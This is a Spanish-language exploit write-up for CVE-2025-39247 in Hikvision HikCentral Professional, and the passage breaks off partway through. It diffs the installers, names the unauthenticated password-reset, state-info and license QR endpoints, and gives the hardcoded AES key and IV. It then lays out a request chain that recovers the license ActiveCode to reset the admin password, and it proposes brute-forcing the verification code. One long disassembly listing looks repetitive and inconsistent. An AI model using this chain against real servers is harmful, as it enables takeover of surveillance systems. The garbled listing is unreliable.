
HikCentral Professional - Filtración de ActiveCode de Licencia Pre-Autenticación
Antes de descargar cualquier cosa, lo que ya es público:
| Fuente | Lo que nos dice |
|---|---|
| Aviso de seguridad de Hikvision | "Faltan comprobaciones de autenticación en los endpoints de la API", consejo de actualizar a V2.6.3 / V3.0.1 |
| NVD CVE-2025-39247 | Métricas CVSS; vector de red, sin autenticación, alcance modificado, confidencialidad alta |
| Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynews resúmenes | Todos reafirman el aviso; sin detalles técnicos, sin PoC, sin endpoint afectado nombrado |
| Agregadores de PoC de GitHub (poc-in-github, 0xMarcio/cve, etc.) | No PoC indexado |
| Foros (ipcamtalk, cctvforum, reddit), índices de torrents | No hay PoC, no hay instaladores filtrados; ipcamtalk tiene un hilo de uso de HikCentral pero nada relacionado con exploits. |
Entonces, en la fecha de análisis, ningún informe técnico público expone el error. Cualquier reproducción comienza con el diff binario.
Después de que se publicó CVE-2025-39247, la página de descarga de V2.6.2 fue retirada, pero el archivo en la CDN nunca fue eliminado. El nombre del archivo se puede recuperar de un espejo de terceros que indexó la página antes de su eliminación (FileHorse — publicó nombre de archivo y MD5). Con ese nombre de archivo, una simple GET a la CDN de Hikvision — usando solo un User-Agent de navegador normal y un encabezado Referer coincidente — todavía lo sirve.```bash
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0"
-H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/"
-O
"https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"
Resultado:
- Tamaño: 1,314,043,792 bytes (1.22 GB)
- MD5: `76d42e7cb16dc0e177b9a35d0fed7ced` — coincide con el valor publicado por FileHorse, confirmando que se trata del instalador genuino firmado por Hikvision (no un reempaquetado de terceros)
- Encabezados de respuesta CDN: `HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (≈ 29 días en la caché perimetral de Tencent EdgeOne sin desalojo)
**Observación colateral que vale la pena reportar a Hikvision PSIRT:** la "retirada" de la página de V2.6.2 es cosmética. El archivo huérfano es accesible en la CDN sin autenticación ni puerta de URL firmada. Los paquetes completos V2.5.1 y V2.6.0 responden de la misma manera.
### 2.2 Instalador parcheado (Paquete base V2.6.3)
Actualmente enlazado desde la página de descarga de V2.6.3; mismo método de obtención:```
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe
Todavía vinculado desde la página de descarga de V2.6.2 (Hikvision quiere que los usuarios lo apliquen):``` https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/cve-2025-39247-security-vulnerability-patch/HikCentral-Professional_CVE-2025-39247_FixPack_V2.3.1-V2.6.2V3.0.0_20250904.exe
- Size: 32,599,504 bytes (31 MB)
---
## 3. Extracción estática
Los tres son envoltorios PE al estilo InstallShield. `7z` los desempaqueta en dos pasadas:```bash
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>
# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
done
done
Ambos instaladores se expanden en aproximadamente dos docenas de archivos de carga útil nombrados. Los directorios de nivel superior revelan la arquitectura:
Fundamentalmente, no hay JARs/WARs de Java en ninguna parte. El backend es C++ sobre Nginx — importante porque te indica de antemano que cualquier fallo de autenticación estará en binarios compilados, no en bytecode WAR/JAR donde la descompilación es trivial.
for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt
v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")} v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")} common = set(v262) & set(v263) changed = [p for p in common if v262[p] != v263[p]]
Resultado: 239 archivos modificados en rutas comunes. Distribución:
| Cubo | Cantidad | Comentario |
|---|---|---|
| `246/www/*.js` (fragmentos de Interfaz Web) | ~200 | Principalmente hashes de recursos con incremento de versión; ignorar |
| `246/Nginx/conf/nginx_location.conf` | **1** | **Delta de configuración de Nginx en un solo archivo — comenzar aquí** |
| `246/Nginx*/install.bat` | 6 | Scripts de instalación, no relacionados |
| `244/bin/*.{exe,dll}` | 6 | Binarios nativos (`DistributionFilter.dll`, `FilterChain.dll`, herramientas multimedia) |
| `282/*.{exe,dll}` | 55 | Servicios de aplicación (el clúster más grande — `platform.dll`, `PersonCredential.dll`, `baseacs.*`, …) |
| `240/bin/pg_*` | 6 | Reconstrucción de Postgres, no relacionado |
| `284/hplugin/dahua_plugin/*` | 4 | Actualización de SDK del proveedor (+10.97 MB) — no relacionado |
| `284/hplugin/onvif_plugin/*` | 4 | Actualización de SDK del proveedor (+0.99 MB) — no relacionado |
| stubs de actualización/desinstalación, reportes de fallos | ~30 | Reconstrucciones de marca de tiempo PE del mismo tamaño, ignorar |
Después de filtrar la actualización de SDK del proveedor, la deriva de marcas de tiempo del sistema de compilación y los incrementos puramente cosméticos de recursos, los *reales* deltas relevantes para la seguridad se reducen a:
- Un archivo de configuración de Nginx
- Un pequeño número de binarios C++ en `282/` (más prominentemente `platform.dll`, el servicio backend HCMP, +57 KB)
---
## 5. El diff de Nginx: localización de errores sin costo
`diff -u nginx_location.conf` entre V2.6.2 y V2.6.3 produce exactamente un hunk: un bloque `location =` completamente nuevo en V2.6.3.```nginx
#禁止非127.0.0.1和::1的重置密码 ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
if ($allowed != "1") { return 403; }
if ($scheme = "http") { proxy_pass http://http_backend; }
if ($scheme = "https") { proxy_pass http://http2_backend; }
}
Esa única adición de 21 líneas es toda la corrección de CVE-2025-39247 en el nivel de la puerta principal, y te lo dice todo:
PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword/ISAPI/Bumblebee/Platform/V0/* al backend sin restricción de dirección remota y sin verificación de autenticación a nivel de Nginx.El comentario en chino es relevante: se traduce literalmente como "Prohibir el restablecimiento de contraseña desde direcciones que no sean 127.0.0.1/::1".
El JavaScript de la interfaz web (minificado, en 246/www/Portal/*.js) llama al endpoint de la siguiente manera:
// API definition (de-minified):
changeDefaultUserPassword: function (sid, payload, opts) {
return http.put({
url: "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword",
data: { ChangeDefaultUserPasswordRequest: payload },
params: { SID: sid }
}, opts);
}
// Call site:
changeDefaultUserPassword(n.SID, {
UserName: form.userName, // "admin"
Password: jsEncrypt.encrypt(form.newPassword), // RSA-PKCS1v15
ActiveCode: form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "",
QuestionList: questionAnswers // [{ID, Answer}, …] or []
}, ...);
// The RSA pubkey comes from another unauthenticated endpoint:
getCrypto: function () {
http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" });
}
// returns: { CryptoKey: <PEM/base64 RSA pubkey>, ... }
```
Así que, incluso antes de desensamblar nada, el JS público te da la forma completa del cable. Pero también revela la parte incómoda: el cuerpo de la solicitud necesita **ya sea un `ActiveCode` válido o respuestas correctas de `QuestionList`**. Enviar valores vacíos no funciona — el backend rechaza con uno de los errores documentados (verificado mediante la minería de cadenas de `platform.dll`, §7).
Por lo tanto, CVE-2025-39247 **no** es "el endpoint es un bypass de autenticación; envía campos vacíos y la contraseña cambia". Es "el endpoint *confía en un llamante solo local* para que ya tenga el ActiveCode correcto; el error es que la puerta de red a nivel de localhost falta, por lo que cualquier *llamante remoto* que *también* pueda suministrar un ActiveCode válido o QuestionList tiene éxito". Por lo tanto, el verdadero rompecabezas del exploit es: ¿de dónde viene el ActiveCode o la QuestionList?
---
## 7. Manejador del backend — minería de cadenas de `platform.dll`
`platform.dll` es el servicio backend de HCMP, 46.87 MB en V2.6.2, 46.93 MB en V2.6.3 (+57 KB). Todas las cadenas de enrutamiento, cadenas de formato de registro, y RTTI de C++ / cadenas `__FUNCTION__` están presentes en claro.
Cadenas dentro de `platform.dll` alrededor del manejador:```
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer
[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].
```
Ambas versiones de `platform.dll` contienen estas cadenas. Así que la lógica de validación existe también en V2.6.2 — `ActiveCode` y `QuestionList` *son* verificadas.
### 7.1 ¿Qué hay de nuevo en V2.6.3 en este handler? (defence-in-depth fingerprints)
Cadenas que existen en V2.6.3 `platform.dll` y *no* en V2.6.2:```
# An entirely new C++ class — rate-limit / lockout subsystem:
VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount
VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze
VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount
VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime
VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze
..\..\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp
[%s]AddAccountLoginFailCount only admin can lock, but id: %d
# Application-level remote-addr literal:
127.0.0.1
# Literal "admin" appearing twice near the handler:
admin
# Token validation:
VSMPlatform::CCmd::CheckToken
/ResponseStatus/Data/TokenValid
[%s]token = %s, session = %s
# Lockout/throttle response fields:
/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber
/ResponseStatus/Data/RetrievePasswordResult/LockRemainTime
/ResponseStatus/Data/RetrievePasswordResult/RemainingType
```
Traducción: V2.6.2 no tenía **ningún** límite de tasa en la ruta de validación `ChangeDefaultUserPassword`. Un atacante que proporcione un ActiveCode incorrecto o respuestas incorrectas a las preguntas de seguridad solo recibe un error y puede reintentar indefinidamente. La cadena de formato del código de verificación `%06d` también está en `platform.dll` (junto con el esquema SQL `verify_code VARCHAR(64)`), lo que confirma que el código de verificación por correo electrónico es un **decimal de 6 dígitos**, espacio de búsqueda 10⁶.
Esto ya es un exploit viable (ruta A): activar `SendVerifyCode`, hacer fuerza bruta de 10⁶ códigos dentro de la ventana de expiración sin bloqueo. A 1000 req/s, el tiempo medio hasta el éxito ≈ 8 minutos. Pero hay una ruta más precisa.
---
## 8. La superficie de divulgación de información pre-autenticación
La enumeración de endpoints en `platform.dll` revela varios hermanos que parecen relacionados:```
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode
```
Ninguno de estos está restringido por `nginx_location.conf`; todos pasan a través del mismo proxy predeterminado `/ISAPI/Bumblebee/Platform/*`. Las cadenas del handler muestran lo que devuelven:```
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Email
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Name
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout
/ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted
/ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted
/ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve
```
So `RetrieveStateInfo(Name=admin)` devuelve el correo electrónico de admin, si la recuperación por pregunta de seguridad está configurada, si la recuperación por correo electrónico está configurada y la vida útil restante de cualquier código de verificación en tránsito — a cualquiera, sin autenticación.
`RetrieveStateInfo` no está bloqueado por el parche V2.6.3. La divulgación de información persiste en V2.6.3.
---
## 9. La superficie de ataque license/QR
El endpoint `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` es llamativo porque su nombre empareja *License* con *ActiveCode* — y el manejador de restablecimiento de contraseña también acepta un campo `ActiveCode`. Eso es una superposición sospechosa de terminología.
Cadenas accesibles desde ese manejador:```
License:%s;DZP:%s ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s ← AES path used to encrypt
[%s]Base64Encode failed! data:%s ← then base64
/ResponseStatus/Data/QRCode ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s
```
Por lo tanto, el código QR es `Base64( AES-128-CBC-PKCS7( "License:<ActiveCode>;DZP:<DeviceCode>" ) )` y el texto plano contiene literalmente el ActiveCode de licencia por instalación que valida el endpoint de restablecimiento de contraseña. El QR está envuelto en una plantilla de URL `https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64-of-ciphertext>` que luego se renderiza como un PNG de código QR; el PNG es lo que devuelve el campo de respuesta JSON `Data.QRCode`.
**Confirmación por diff de V2.6.3:** la cadena de formato `License:%s;DZP:%s` existe en V2.6.2 `platform.dll` y se **elimina en V2.6.3**. El propio endpoint del QR, el símbolo de función `PrivateAESEncrptQRCode` y el literal IV (§10) persisten todos en V2.6.3 — solo se eliminó el formato de texto plano con fuga. Eso es exactamente lo que cabría esperar de una corrección de Hikvision.
---
## 10. Recuperación de la clave AES y el IV mediante desensamblado
Este es el paso que requiere más trabajo. Plan:
1. Encontrar la función `VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode` en `platform.dll`.
2. Leer su configuración de clave + IV.
3. O bien ambos son bytes literales que se pueden leer directamente, o están calculados — en cuyo caso seguir el cálculo.
### 10.1 Localización de la función
La cadena de formato de error `[%s]PrivateAESEncrptQRCode failed! data:%s` reside en `.rdata`. Encuentre su VMA en `.rdata`, luego escanee `.text` en busca de instrucciones `lea r, [rip + rel32]` que resuelvan a esa VMA. (Para 16 MB de `.text` esto toma unos segundos con `pefile + capstone` haciendo un recorrido lineal del patrón REX.W + 8D + MODRM mod=00 rm=101).
El registro de error se referencia desde exactamente una instrucción en `0x1812553f7`. Ascendiendo hasta la función contenedora a través de `.pdata` (la tabla de desenredo x64 del PE — encabezado de sección analizable con `pefile`, doce bytes por entrada RUNTIME_FUNCTION: start_RVA, end_RVA, unwind_RVA) se obtiene el manejador ISAPI externo `CLicenseISAPIComm::ActiveCodeQRcode` en `0x181254cc0..0x181255919`.
Esa función externa construye la cadena de texto plano `"License:%s;DZP:%s"` y codifica en base64 el resultado; la llamada real a AES está en una función auxiliar un nivel más abajo, en `0x18002a397` (se resuelve mediante un jmp thunk a una función de 502 bytes cuya cadena RTTI es `VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode` — confirmado por xref de cadena).
### 10.2 Dentro del envoltorio AES en `0x1807d33e0`
Desensamblando el cuerpo de 502 bytes y listando cada `lea r, [rip + rel32]` cuyo destino aterrice en `.rdata` devuelve solo 5 referencias a cadenas:```
0x1807d34d2 -> 0x18200b1b0 len=16 'AaBbCcDd1234!@#$' ← 16 bytes of letters/digits/symbols
0x1807d3516 -> 0x18200b1d0 len=48 '..\..\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp'
0x1807d352a -> 0x18200b218 len=48 'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode'
0x1807d3531 -> 0x18200b250 len=23 '[%s]error is %d[%s(%d)]'
0x1807d3538 -> 0x18200b268 len=23 'platform.PriorityLogger'
```
La primera entrada es la única referencia de cadena de 16 bytes. Esa longitud es sospechosa: el bloque AES, la clave y el IV tienen todos 16 bytes para AES-128. El literal `AaBbCcDd1234!@#$` — ocho pares de letras alternando mayúsculas y minúsculas seguidas de `1234!@#$` — también tiene la forma clásica de "constante de marcador de posición para desarrolladores" (similar a los modismos ASCII *reales* `BAADF00D` / `DEADBEEF`). En este punto, una hipótesis sensata es "este es el IV".
Esa hipótesis se ve respaldada por el contexto del desensamblaje. La secuencia de instrucciones alrededor de la referencia de cadena:```asm
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov dword ptr [rsp + 0x100], 5 ; some flag = 5
lea rdx, [rip + 0x1837cd7] ; <— loads "AaBbCcDd1234!@#$"
lea rcx, [rsp + 0xe0] ; destination
call <thunk> ; std::string assign-like; copies 16B into [rsp+0xe0]
mov dword ptr [rsp + 0x104], 1
lea rdx, [rsp + 0xa0] ; pass: rdx = key (16B at [rsp+0xa0])
lea rcx, [rsp + 0x60] ; pass: rcx = output buffer
call <encrypt-wrapper at 0x180007563> ; → 0x181b03790, a generic AES mode-dispatcher
; that imports AES_cbc_encrypt, AES_cfb128_encrypt,
; AES_ecb_encrypt and AES_ofb128_encrypt.
; QR path takes the AES_cbc_encrypt branch.
```
So `[rsp+0xe0]` termina conteniendo los bytes del IV, `[rsp+0xa0]` contiene 16 bytes construidos previamente en `[rsp+0xc0]` (la clave), y estos dos buffers se pasan luego al wrapper de OpenSSL. Confirmar la recuperación del IV es solo cuestión de verificación cruzada: `platform.dll` de V2.6.3 aún contiene la cadena literal `AaBbCcDd1234!@#$` en el mismo desplazamiento — Hikvision no rotó el IV, lo cual es la elección criptográfica *correcta* (solo la clave debe ser secreta, el IV debe ser único por mensaje, pero un IV fijo es "débil", no "roto" de la misma manera que lo sería una clave *fija*).
### 10.3 La construcción de la clave
Inmediatamente por encima de la referencia a la cadena del IV, el wrapper configura la clave con esta corta secuencia:```asm
mov dl, 0x41 ; seed byte = 'A'
lea rcx, [rsp + 0x140] ; this-pointer for a local buffer
call <thunk 0x1800683fe> ; → 0x1807d19b0 (599-byte function)
mov [rsp + 0x50], rax
mov rdx, [rsp + 0x50] ; rdx = pointer to the 16-byte buffer the call just produced
lea rcx, [rsp + 0xc0]
call <std::string assign> ; copy the 16 bytes into the key buffer at [rsp+0xc0]
```
Luego desensamblando `0x1807d19b0`: es una *función de derivación de clave puramente aritmética*. Toma un byte como entrada (el `0x41`), asigna 16 bytes de pila, y escribe 16 valores cada uno calculado como `seed + offset_i` para una secuencia hardcodeada de 16 offsets con signo:
```
0x1807d19b0: 48 63 4c 24 08 movsxd rcx, dword ptr [rsp+8]
0x1807d19b5: 0f b6 04 0a movzx eax, byte ptr [rdx+rcx]
0x1807d19b9: 0f b6 c8 movzx ecx, al
0x1807d19bc: 48 8d 0c 0d 00 00 00 00 lea rcx, [rcx*8]
0x1807d19c4: 48 8d 15 35 24 00 00 lea rdx, [rip+0x2435]
0x1807d19cb: 48 03 ca add rcx, rdx
0x1807d19ce: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d19d2: 48 8d 0d 27 24 00 00 lea rcx, [rip+0x2427]
0x1807d19d9: 48 03 ca add rcx, rdx
0x1807d19dc: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d19e0: 48 8d 0d 19 24 00 00 lea rcx, [rip+0x2419]
0x1807d19e7: 48 03 ca add rcx, rdx
0x1807d19ea: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d19ee: 48 8d 0d 0b 24 00 00 lea rcx, [rip+0x240b]
0x1807d19f5: 48 03 ca add rcx, rdx
0x1807d19f8: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d19fc: 48 8d 0d fd 23 00 00 lea rcx, [rip+0x23fd]
0x1807d1a03: 48 03 ca add rcx, rdx
0x1807d1a06: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1a0a: 48 8d 0d ef 23 00 00 lea rcx, [rip+0x23ef]
0x1807d1a11: 48 03 ca add rcx, rdx
0x1807d1a14: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1a18: 48 8d 0d e1 23 00 00 lea rcx, [rip+0x23e1]
0x1807d1a1f: 48 03 ca add rcx, rdx
0x1807d1a22: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1a26: 48 8d 0d d3 23 00 00 lea rcx, [rip+0x23d3]
0x1807d1a2d: 48 03 ca add rcx, rdx
0x1807d1a30: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1a34: 48 8d 0d c5 23 00 00 lea rcx, [rip+0x23c5]
0x1807d1a3b: 48 03 ca add rcx, rdx
0x1807d1a3e: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1a42: 48 8d 0d b7 23 00 00 lea rcx, [rip+0x23b7]
0x1807d1a49: 48 03 ca add rcx, rdx
0x1807d1a4c: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1a50: 48 8d 0d a9 23 00 00 lea rcx, [rip+0x23a9]
0x1807d1a57: 48 03 ca add rcx, rdx
0x1807d1a5a: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1a5e: 48 8d 0d 9b 23 00 00 lea rcx, [rip+0x239b]
0x1807d1a65: 48 03 ca add rcx, rdx
0x1807d1a68: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1a6c: 48 8d 0d 8d 23 00 00 lea rcx, [rip+0x238d]
0x1807d1a73: 48 03 ca add rcx, rdx
0x1807d1a76: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1a7a: 48 8d 0d 7f 23 00 00 lea rcx, [rip+0x237f]
0x1807d1a81: 48 03 ca add rcx, rdx
0x1807d1a84: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1a88: 48 8d 0d 71 23 00 00 lea rcx, [rip+0x2371]
0x1807d1a8f: 48 03 ca add rcx, rdx
0x1807d1a92: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1a96: 48 8d 0d 63 23 00 00 lea rcx, [rip+0x2363]
0x1807d1a9d: 48 03 ca add rcx, rdx
0x1807d1aa0: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1aa4: 48 8d 0d 55 23 00 00 lea rcx, [rip+0x2355]
0x1807d1aab: 48 03 ca add rcx, rdx
0x1807d1aae: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1ab2: 48 8d 0d 47 23 00 00 lea rcx, [rip+0x2347]
0x1807d1ab9: 48 03 ca add rcx, rdx
0x1807d1abc: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1ac0: 48 8d 0d 39 23 00 00 lea rcx, [rip+0x2339]
0x1807d1ac7: 48 03 ca add rcx, rdx
0x1807d1aca: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1ace: 48 8d 0d 2b 23 00 00 lea rcx, [rip+0x232b]
0x1807d1ad5: 48 03 ca add rcx, rdx
0x1807d1ad8: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1adc: 48 8d 0d 1d 23 00 00 lea rcx, [rip+0x231d]
0x1807d1ae3: 48 03 ca add rcx, rdx
0x1807d1ae6: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1aea: 48 8d 0d 0f 23 00 00 lea rcx, [rip+0x230f]
0x1807d1af1: 48 03 ca add rcx, rdx
0x1807d1af4: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1af8: 48 8d 0d 01 23 00 00 lea rcx, [rip+0x2301]
0x1807d1aff: 48 03 ca add rcx, rdx
0x1807d1b02: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1b06: 48 8d 0d f3 22 00 00 lea rcx, [rip+0x22f3]
0x1807d1b0d: 48 03 ca add rcx, rdx
0x1807d1b10: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1b14: 48 8d 0d e5 22 00 00 lea rcx, [rip+0x22e5]
0x1807d1b1b: 48 03 ca add rcx, rdx
0x1807d1b1e: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1b22: 48 8d 0d d7 22 00 00 lea rcx, [rip+0x22d7]
0x1807d1b29: 48 03 ca add rcx, rdx
0x1807d1b2c: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1b30: 48 8d 0d c9 22 00 00 lea rcx, [rip+0x22c9]
0x1807d1b37: 48 03 ca add rcx, rdx
0x1807d1b3a: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1b3e: 48 8d 0d bb 22 00 00 lea rcx, [rip+0x22bb]
0x1807d1b45: 48 03 ca add rcx, rdx
0x1807d1b48: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1b4c: 48 8d 0d ad 22 00 00 lea rcx, [rip+0x22ad]
0x1807d1b53: 48 03 ca add rcx, rdx
0x1807d1b56: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1b5a: 48 8d 0d 9f 22 00 00 lea rcx, [rip+0x229f]
0x1807d1b61: 48 03 ca add rcx, rdx
0x1807d1b64: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1b68: 48 8d 0d 91 22 00 00 lea rcx, [rip+0x2291]
0x1807d1b6f: 48 03 ca add rcx, rdx
0x1807d1b72: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1b76: 48 8d 0d 83 22 00 00 lea rcx, [rip+0x2283]
0x1807d1b7d: 48 03 ca add rcx, rdx
0x1807d1b80: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1b84: 48 8d 0d 75 22 00 00 lea rcx, [rip+0x2275]
0x1807d1b8b: 48 03 ca add rcx, rdx
0x1807d1b8e: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1b92: 48 8d 0d 67 22 00 00 lea rcx, [rip+0x2267]
0x1807d1b99: 48 03 ca add rcx, rdx
0x1807d1b9c: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1ba0: 48 8d 0d 59 22 00 00 lea rcx, [rip+0x2259]
0x1807d1ba7: 48 03 ca add rcx, rdx
0x1807d1baa: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1bae: 48 8d 0d 4b 22 00 00 lea rcx, [rip+0x224b]
0x1807d1bb5: 48 03 ca add rcx, rdx
0x1807d1bb8: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1bbc: 48 8d 0d 3d 22 00 00 lea rcx, [rip+0x223d]
0x1807d1bc3: 48 03 ca add rcx, rdx
0x1807d1bc6: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1bca: 48 8d 0d 2f 22 00 00 lea rcx, [rip+0x222f]
0x1807d1bd1: 48 03 ca add rcx, rdx
0x1807d1bd4: 48 8d 14 0a lea rdx, [rdx+rcx]
0x1807d1bd8: 48 8d 0d 21 22 00 00 lea rcx, [rip+0x2221]
0x1807d1bdf: 48 03 ca add rcx, rdx
+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39, −0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D
Con semilla `0x41` (`'A'`):
| pos | desplazamiento | byte | car |
|---|---|---|---|
| 0 | +22 | 0x57 | `W` |
| 1 | +54 | 0x77 | `w` |
| 2 | +23 | 0x58 | `X` |
| 3 | +55 | 0x78 | `x` |
| 4 | +24 | 0x59 | `Y` |
| 5 | +56 | 0x79 | `y` |
| 6 | +25 | 0x5A | `Z` |
| 7 | +57 | 0x7A | `z` |
| 8 | −16 | 0x31 | `1` |
| 9 | −15 | 0x32 | `2` |
| 10 | −14 | 0x33 | `3` |
| 11 | −13 | 0x34 | `4` |
| 12 | −32 | 0x21 | `!` |
| 13 | −1 | 0x40 | `@` |
| 14 | −30 | 0x23 | `#` |
| 15 | −29 | 0x24 | `$` |
### 10.4 Material criptográfico recuperado```
Algorithm: AES-128-CBC with PKCS7 padding
IV (16): 41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24 → AaBbCcDd1234!@#$
KEY (16): 57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24 → WwXxYyZz1234!@#$
Misma familia aritmética. Mismos 8 bytes finales (1234!@#$). Ambas son constantes incrustadas en binario idénticas en cada instalación de V2.6.2 (y en V2.3.1 .. V2.6.2 y V3.0.0 — comparten la ruta de cifrado QR), por lo que una única recuperación de una copia de platform.dll es suficiente para descifrar el QR de cualquier servidor HCMP vulnerable en la red.
La cadena se divide claramente en dos mitades:
La división es importante: permite que el PoC de referencia se implemente como una herramienta de reconocimiento pura sin ninguna ruta de código destructiva en ningún lugar (el flujo de trabajo de la interfaz de usuario permanece con intervención humana).``` HALF 1 — automated recon (recovers the ActiveCode):
POST /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET (empty body) (unauthenticated, read-only) → ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode} → SID is a server-issued anonymous session token used by step 2.
POST /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=
(empty body, unauthenticated, read-only)
→ ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
The QR's payload is the URL template
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=
where = base64(
AES-128-CBC-PKCS7(
